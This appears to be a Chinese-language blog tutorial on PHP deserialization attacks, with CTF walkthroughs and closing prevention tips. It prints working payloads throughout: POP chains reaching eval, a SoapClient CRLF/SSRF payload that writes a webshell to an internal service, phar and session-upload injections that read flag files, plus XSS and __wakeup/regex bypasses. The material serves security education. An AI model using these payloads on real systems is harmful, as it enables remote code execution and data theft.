php反序列化漏洞

前言

本文总结PHP的反序列化,有PHP反序列字符串逃逸,PHP反序列化pop链构造,PHP反序列化原生类的利用,phar反序列化,session反序列化,反序列化小技巧,并附带ctf小题来说明,还有PHP反序列化的预防方法(个人想法),建议按需查看,如有错误还望斧正。
如非特别说明运行环境为PHP 7.2.33-1+ubuntu18.04.1

为什么要序列化?

序列化可以将对象,类,数组,变量,匿名函数等,转换为字符串,这样用户就方便存储和传输,同时方便恢复使用,对服务器也减轻一定的压力。

序列化基础

序列化为字符串时候,变量和参数之间用;隔开,同一个变量和参数间用:号隔开,以}作为结尾,具体结构,用以下代码来看下结构

<?PHP
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
?>

序列化属性

一个可以序列化的字符串后加其他参数不影响序列化后的结果

如:
测试代码

<?PHP
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg1 = new Lmg;
echo serialize($lmg1)."\n";
$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';
echo $Lmg2."\n";
print_r($lmg1);
print_r(unserialize($Lmg2));
?>

效果:可以发现,后面加了其他参数并不影响序列化后的结果

显示变量长度和实际长度不匹配就会报错,在这里在某些情况就会产生字符串逃逸

如:
测试代码

<?PHP
class Lmg
{
	
	public $name = 'Lmg';
    public $age = 19;
    public $blog = 'https://lmg66.github.io';
}

$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';
print_r(unserialize($lmg4));
print_r(unserialize($lmg5));
?>

效果:可以发现我改了变量名name使它的长度和实际4不符,就发生了报错,改其他类似

反序列常见魔术函数总览,可构造pop链

__construct: 当创建类的时候自动调用,也就是构造函数,无返回值
__destruct: 当类实例子销毁时候自动调用,也就是析构函数,无返回值,其不能带参数
__toString:当对象被当做一个字符串使用时调用,比如echo $obj 。
__sleep: 当类的实例被序列化时调用(其返回需要一个数组或者对象,一般返回对象的$this,返回的值被用来做序列化的值,如果不返回,表示序列化失败)
__wakeup: 当反序列化时被调用
__call:当调用对象中不存在的方法自动调用方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

反序列化字符串逃逸(替换后导致字符串变长)

字符串逃逸利用的是反序列化的属性如上文,出现原因是在序列化前进行了字符串的替换,导致字符串被拓冲,可以将后面的字符串挤出去,挤到后一个对象的变量从而改变其他的变量值,造成逃逸。
如:
测试代码

<?PHP
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>

序列化后的字符串为:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
如果能让name变量的参数为
";s:4:"pass";s:6:"hack";}
用}号闭合掉后面的pass参数,就能改pass变量的参数值从而逃逸
解决的就是这个位置的长度问题,只用读取到足够的长度,才会停止


可以发现在序列化进行了字符串的替换,但替换的时候bb替换成了ccc,也就是字符串变长了,达到我们上面想要的目的


先判断想要构造的字符串长度

<?PHP
$lmg = '";s:4:"pass";s:6:"hack";}';
echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
// $lmg2 = "bb";
// echo str_repeat($lmg2, 25);
?>

运行长度为25,一个bb换成ccc,就逃逸1个字符,也就是说需要25个bb才能将后面的字符串给挤出来

<?PHP
// $lmg = '";s:4:"pass";s:6:"hack";}';
// echo strlen($lmg)."\n";
// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
// echo strlen($lmg3);
$lmg2 = "bb";
echo str_repeat($lmg2, 25);
?>

将name变量参数变为25个bb+";s:4:"pass";s:6:"hack";}
测试代码

<?PHP
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
    public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";
print_r($AA);
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
print_r($c);
// echo $c->pass."\n";
?>

运行结果:构造完的字符串,反序列化后发现密码被改为了hack,而我们并未直接修改pass的参数,从而实现字符串的逃逸

一个ctf例题([0CTF 2016]piapiapia)

地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia
打开题目扫描一下发现wwww.zip文件下载,因为本文主要交PHP反序化就不绕了
发现config.PHP中又flag,所以要读取文件,在profile.PHP中发现读取文件代码

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

如果能让photo为config.PHP,而这数值来自$profile的反序列化,查看$profile

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

发现有过滤

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面
然后发现nickname有正则过滤,考虑用数组来进行绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

数组绕过后就考虑进行逃逸将photo挤出去
所以我们需要构造nickname的参数值为";}s:5:"photo";s:10:"config.PHP";}
这里为什么要在前面加一个}呢???,因为为了绕过nickname的正则匹配我们将其构造成了数组,数组在反序列化要进行闭合,可以尝试一下
构造代码

<?PHP
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>

运行结果发现数组位置进行了闭合


这就是为啥上面要先进行}在逃逸
构造我们想要的内容后要进行逃逸,我们发现过滤的时候将where改成了hacker,进行了字符串拓展增建了一个字符串,我们构造的字符串长度为34所以我们要构造34个where进行逃逸


然后查看profile.PHP图片,base64解码就获得了config.PHP中的flag

反序列化字符串逃逸(替换后导致字符串变短)

字符串变短的逃逸类似于变长,都是利用了替换字符串导致的可输入变量的改变,从而可以闭合
测试代码

<?PHP
function str_rep($string){
	return preg_replace( '/PHP|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

发现进行了过滤,将PHP和test转换为空
如果我们在name的参数中输入PHP,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,如果当name参数为空而读取到sign可控参数前,那么就可以通过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤PHP一个能吞掉3个字符串,所以我们要输入7个PHP也就是吞掉21长度,而后面是19长度,所以我们加2个字符来补充
所以构造

name=PHPPHPPHPPHPPHPPHPPHP
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}

其中sign中12为补充使其为21长度,"号用于闭合name参数,然后可以发现,number不可变变量被改变

一个ctf例题([安洵杯 2019]easy_serialize_PHP)

题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
打开题目是一段代码

 <?PHP

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('PHP','flag','PHP5','PHP4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.PHP?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.PHP');
}else if($function == 'PHPinfo'){
    eval('PHPinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 



先看看PHPinfo中的数据,提示在d0g3_f1ag.PHP文件

<?PHP
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>

先构造代码尝试运行结果


和上面原理一样要将吞掉,长度为23
";s:8:"function";s:75:"
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行,因为数据长度不可能大于100
而flag换成空格吞掉4个字符串,所以要6个flag(当然也可以8个PHP:3*8=24),然后还有在function参数加一个字符串来满足吞24个字符串
所以构造数字1也就是满足24长度加的,img变量要base64,因为实际的img参数被我们给挤出去了,所说

这里不影响
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZdbnM19mMWFnLnBocA==";}
然后查看显示,查看源代码


将img参数读取的文件改为/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

反序列化pop链构造

有时遇见魔法方法中没有利用代码,即不存在命令执行文件操作函数,可以通过调用其他类方法和魔法函数来达到目的
反序列化想构造的出的方法
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()

实例

代码:

<?PHP
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new normal();
	}
	function __destruct() {
		$this->ClassObj->action();
	}
}
class normal {
	function action() {
		echo "hello";
	}
}
class evil {
	private $data;
	function action() {
		eval($this->data);
	}
}
unserialize($_GET['d']);
?>

lemon类创建了正常normal类,然后销毁时执行了action()方法,很正常,但如果让其调用evil类,销毁时候就会调用evil的action()方法出现eval方法,就能达到效果,所以需要构造

<?PHP
class lemon {
	protected $ClassObj;
	function __construct() {
		$this->ClassObj = new evil();
	}
}
class evil {
	private $data = "PHPinfo();";
}
$lmg = new lemon();
echo urlencode(serialize($lmg))."\n";
?>

evil中data参数为私有属性,在序列化时会出现不可复制字符,需进行url编码
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22PHPinfo%28%29%3B%22%3B%7D%7D


其中PHPinfo();可换成其他想要执行的命令system('dir');等等

PHP反序列化原生类利用

反序列没有合适的利用链,需要利用PHP自带的原生类

__call方法

__call方法调用不存在类的方法时触发
PHP代码

<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

通过unserialize进行反序列化,调用不存在notextist()类,将触发__call()魔法函数
PHP中原生类soapClient,存在可以进行__call魔法函数
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、uddi(UniversalDescriptiondiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, uddi用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
PHP中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。


其中option可以定义 User-Agent


payload:

<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

注意:要开启soap,在PHP.ini中去除extension=PHP_soap.dll之前的“;” ,重启服务
payload:

<?PHP
$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
echo $lmg;
?>

地址换成自己服务器地址
我是用虚拟机ubantu开启的端口
nc -l 8888
执行:



当然我们也可以传数据进行CRLF,攻击内网服务,注入redis命令,因为可定义user_agent
payload:

<?PHP
	$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));
	// echo $lmg."\n";
	$poc = "CONfig SET dir /root/";
	$target = "http://192.168.124.133:8888/";
	$content = "Content-Length:45\r\n\r\ndata=abc";
	$b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello'));
	$aaa = serialize($b);
	$aaa = str_replace('^^', "\n\r", $aaa);
	echo $aaa."\n";
	echo urlencode($aaa)."\n";
?>



内网中写shell:
内网中test.PHP

<?PHP 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
	echo 'hi';
	@$a=$_POST[1];
	@eval($a);

}
 ?>

可以利用反序列化,CRLF内网攻击写shell,反序列化位置

<?PHP
$rce = unserialize($_GET['u']);
echo $rce->notexist();
echo $rce;
?>

payload:

<?PHP
$target = 'http://127.0.0.1/CTF/test.PHP';
$post_string = '1=file_put_contents("shell.PHP", "<?PHP PHPinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: '
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

echo urlencode($aaa);
$c=unserialize(urldecode($aaa));
// $c->ss();
?>

成功被写入shell.PHP

__toString原生类利用

测试代码

<?PHP
	echo unserialize($_GET['u']);

?>

利用payload:

<?PHP
	echo urlencode(serialize(new Exception("<script>alert(1)</script>")));
?>

exception类对于错误消息没有经过编码,直接输出到了网页,便可以造成xss

phar反序列化

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用PHP函数unserialize()的前提下,引起严重的PHP对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的PHP反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

原理

phar文件结构

  • a stub
    文件格式标准,格式为xxx 前面内容不限,但必须以__HALT_COMPILER();?>,否则无法识别是不是phar文件,其中xxx可以用作绕过文件上传的检测
  • a manifest describing the contents
    phar本质是一种压缩文件,压缩文件的权限,属性等信息所存放的位置,以序列的化的方法存储用户自定义Meta-data,在使用phar://伪协议时会反序列化这部分,漏洞产生的原因就在这里

  • the file contents
    被压缩文件内容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    签名,文件末尾,格式:


    phar://伪协议介绍
    这个参数是PHP解压压缩包的一个函数,不管什么,都会当做压缩包来解压
    测试:
    要将PHP.ini中的phar.readonly选项设置为off,不然没法生成phar文件
    用来包含某个文件,构建类TestObject,然后析构函数结束时打印data数据
<?PHP
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // Todo: Implement __destruct() method.
    }
}

include($_GET['Lmg']);
?>

生成phar文件,且定义的Meta-data的序列化

<?PHP
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('<?PHP __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'Lmg';
    $phar -> setMetadata($object);  //将自定义Meta-data存入manifest
    $phar -> stopBuffering();
?>

运行生成文件为phar的文件


在真实情况,需要上传到目标服务器,然后利用phar在解压时会反序化Meta-data部分来达到目的,这里就直接直接包含了,打印了Lmg字符串


受影响的函数


利用条件:

一个ctf例子([CISCN2019 华北赛区 Day1 Web1]DropBox)

题目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox
打开页面发现是一个注册登录页面,注册登录发现是个类似网盘的功能,初始时在登录注册页面尝试sql注入发现不行,然后在下载功能尝试下载发现登录注册位置对数据库操作进行了prepare()的预处理,网盘有个下载功能,尝试下载,尝试任意下载,抓包,将下载内容改为源码(有index.PHP class.PHP upload.PHP download.PHP login.PHP register.PHP),为啥要加../../呢??前期我也不知道,看了别人题解发现,下载源码发现download.PHP,限制了切换了目录,同时没法下载其他目录,这就是后来为啥要用delete功能来phar://,那个位置没有进行目录的切换,然后想尝试文件上传来getshell,首先上传时进行了后缀判读,而且我们不知道上传后了路径,所以考虑其他方法



查看delete.PHP,new file()其用了delete()函数,到class.PHP中查看detele()使用unlink()来删除,而unlink()函数是phar反序列化受影响函数,那么下面我们想要的就是构造就是打开显示flag.txt文件,为啥flag在flag.txt中我就不知道了,可能ctf选手直觉,有点玄学了,如果你知道可以评论告诉我感谢,继续,在class.PHP中发现close()中File类file_get_contents(),但是没法调用,然后发现user类中的析构函数调用了close类,如果我们令$db=new File();的化,但是虽然我们打开了文件,但是没用回显,所以还是看不见文件内容,所以要构造其他的pop链,然后发现FileList()中存在魔法函数_call,如果调用了不存在的函数就会执行,call函数的作用:

 public function __call($func, $args) {
        array_push($this->funcs, $func);      //如果调用了不存在的方法,将改方法放到funcs数组中
        foreach ($this->files as $file) {     //再从files数组中取出方法,利用这个元素去调用funcs中新增的func
            $this->results[$file->name()][$func] = $file->$func();  //因为调用了不存在的键值close(),所以func=close,所以$file->$func相当于调用close()函数
        }
    }

而close函数打开$this->filename文件,所以我们构造File中的filename=./flag.txt就能打开该文件,而且该文件内容存储到了results数组键值中,然后我们查看
File类中的析构函数,发现:

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }

这里对result的键值进行了输出,所以就能得到flag.txt中的内容
最后payload:

<?PHP
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
    	$file = new File();
        $file->filename = "/flag.txt"; //构造filename让其打开该文件
        $this->files = array($file); 
    }
}

// $a = new User();
// $a->db = new FileList(); //这里让FileList调用了不存在函数close()函数

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?PHP __HALT_COMPILER();?>'); //设置stub

$o = new User();
$o->db = new FileList(); //这里让FileList调用了不存在函数close()函数

$phar->setMetadata($o); //将自定义Meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

PHP反序列化Session反序列化

session在互联网起到的作用

session用于跟踪用户的行为,保存用户的信息和状态等等
session当用户第一次访问网站时,session_start()函数就会创建唯一的sessionid,通过HTTP响应将sessionid保存到用户的cookie中。同时在服务器创建一个sessionid命名的文件,用于保存这个用户的会话信息。当用户再次访问这个网站时,也会通过http请求将cookie中保存的session再次携带,但是服务器不会再创建同名文件,而是硬盘中寻找sessionid的同名文件,且将其读取出来。
服务器session_start()函数作用
当会话开始或通过session_start()开始时,PHP内部会通过传来的sessionid来读取文件PHP自动序列化sessio文件内容,并将其填充到超全局变量$_SESSION中。如果不存在对应的会话数据,则创建一个sessionid的文件。如果用户为发送sessionid,则创建一个由32个字母组成的PHPsessionid,并返回set-cookie

session配置和PHPsession反序列化原理

PHP.ini中的session配置


因为我使用的是PHPstudy搭建的环境所以路径比较奇怪
常见的存储位置

/var/lib/PHP5/sess_PHPSESSID
/var/lib/PHP7/sess_PHPSESSID
/var/lib/PHP/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

session反序列化原理

session的存储机制


测试代码

<?PHP
//ini_set('session.serialize_handler', 'PHP');
//ini_set("session.serialize_handler", "PHP_serialize");
ini_set("session.serialize_handler", "PHP_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

分别注释查看不同机制的保存方式,我们分别?a=123查看

  • Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'PHP'); PHP机制
  • a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "PHP_serialize"); PHP_serialize机制
  • Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "PHP_binary"); PHP_binary机制
    产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制,我们以PHP_serialize格式来存储,用PHP机制来读取
    测试代码
    存储session代码
<?PHP
//ini_set('session.serialize_handler', 'PHP');
ini_set("session.serialize_handler", "PHP_serialize");
//ini_set("session.serialize_handler", "PHP_binary");
session_start();
$_SESSION['Lmg'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

读取session代码

<?PHP
	ini_set("session.serialize_handler", "PHP");
	session_start();
	class student {
		var $name;
		var $age;
		function __wakeup(){
			echo $this->name;
		}
	}
?>

我们先构造一个student的类来生成我们想要的目的

<?PHP
	class student {
		var $name;
		var $age;
	}
$Lmg = new student();
$Lmg->name = "hack";
$Lmg->age = "19";
echo serialize($Lmg);
?>

生成的序列化字符串
O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
我们构造在储存页面构造payload,只需要在上面的字符串前加|就可,为什么呢???


如果我们传入的数值中有|那么在读取时就认为后面是我们要反序列化的字符串,从而达到目的
将构造的字符串传入存储PHP中计:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
查看储存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}
所以达到了目的


查看一下读取的PHP,成功打印了hack

没有$_SESSION赋值的session反序列化

PHP中存在一个upload_process机制,可以自动创建$_SESSION一个键值对,而且其中的值用户可以控制,文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态



什么意思呢????意思上传文件,同时post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量作为键,进行序列化然后存储到session文件中,下次请求就会反序列化session文件

一个ctf题来实践了解一下

题目地址:http://web.jarvisoj.com:32784/index.php
打开题目是源码:

<?PHP
//A webshell is wait for you
ini_set('session.serialize_handler', 'PHP');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'PHPinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['PHPinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.PHP'));
}
?>

先读取session,然后get传入PHPinfo参数,然后创建对象,对象中构造函数给mdzz赋值PHPinfo,析构函数执行eval,所以我们的目的是将mdzz构造为读取文件
,先随便传入参数,查看PHPinfo中的参数,发现认的反序列化机制是PHP-serialize,但是题目所使用PHP,那么这个两个机制再上文产生的漏洞我们已经了解,但是我们没法给session进行存储啊,所以就要用到上面session上传进度的session存储来存入我们想要的内容


构造上传表单

<form action="http://web.jarvisoj.com:32784/index.PHP" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

然后构造我们想要的payload,打印目录文件print_r(scandir(dirname(FILE)));,如果写入析构函数会eval执行

<?PHP
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?>

生成的序列化字符串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
我们用上传表单随便上传一个文件,抓包将filename改为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
为什么要改filename,因为其会跟file数组保存到session中上面图片有说明
为啥要在字符串前加|,这个上面也说过,因为反序列化的机制不一样,|后会当做要反序列化的字符串
为什么要再"前加\,因为我们的字符串是放在filename=""双引号内要进行转义


发现成功读取到文件名,但是我们不知道文件目录,查看PHPinfo(),查看当前脚本的运行路径


所以构造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP"));来读取这个文件
payload:

<?PHP
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP\"));";
echo serialize($Lmg);
?>

生成的字符串,成功获得flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.PHP\"));\";}

PHP反序列化小技巧

__wakeup失效:CVE-2016-7124

漏洞利用版本:
PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因
如果存在_wakeup方法调用unserilize()方法前则先调用_wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时候,便会跳过_wakeup的执行
测试代码

<?PHP
class demo{
	public $name = "Lmg";
	public function __wakeup(){
		echo "this is __wakeup<br>";
	}
	public function __destruct(){
		echo "this is __destruct<br>";
	}
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?>


对比发现页面只执行了__destruct方法,从而__wakeup()失效

一个ctf例题(unserialize3)

题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打开题目直接是部分源码,看到wakeup函数应该想到是利用__wakeup()失效漏洞
题目源码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

构造payload:

<?PHP
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?>

生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
成功获得flag

bypass反序列化正则

当执行反序列化时,使用正则'/[oc]:\d+:/i'
进行拦截时,主要拦截O:数字:的反序列化字符串,那要怎么绕过呢???
PHP反序列化时O:+4:和O:4:的解析是一样的,具体是PHP的内核是这么写的
所以可以通过加+来进行绕过

一个ctf例题(Web_PHP_unserialize)

题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
打开题目是源代码

<?PHP 
class Demo { 
    private $file = 'index.PHP';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.PHP') { 
            //the secret is in the fl4g.PHP
            $this->file = 'index.PHP'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.PHP"); 
} 
?>


所以构造payload来进行绕过:

<?PHP 
class Demo { 
    private $file = 'fl4g.PHP';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
var传入即可获得flag
如果这里没有base64加密,我么也需要进行url编码,因为demo中private为私有属性,反序列化会出现不可见字符,所以要进行url编码

如何防止PHP反序列化

  1. 尽量不要用序列化来传输数据
  2. 不要相信用户传入数据,或者不让用户传入完整的序列化类型,进行过滤
  3. 隔离运行在低权限环境中的反序列化,记录反序列化异常和失败,例如传入类型不是预期类型,或者反序列化引发异常,限制或监视来自反序列化的容器或服务器的传入和传出网络连接,限制或监视来自反序列化的容器或服务器的传入和传出网络连接。监视反序列化,如果用户不断地反序列化,则发出警报。

参考文章及说明

参考文章:
https://blog.csdn.net/qq_45521281/article/details/107135706
https://paper.seebug.org/680/
https://xz.aliyun.com/t/7366#toc-6
《从从0到1 ctfer的成长之路》
最后欢迎访问我的个人博客https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...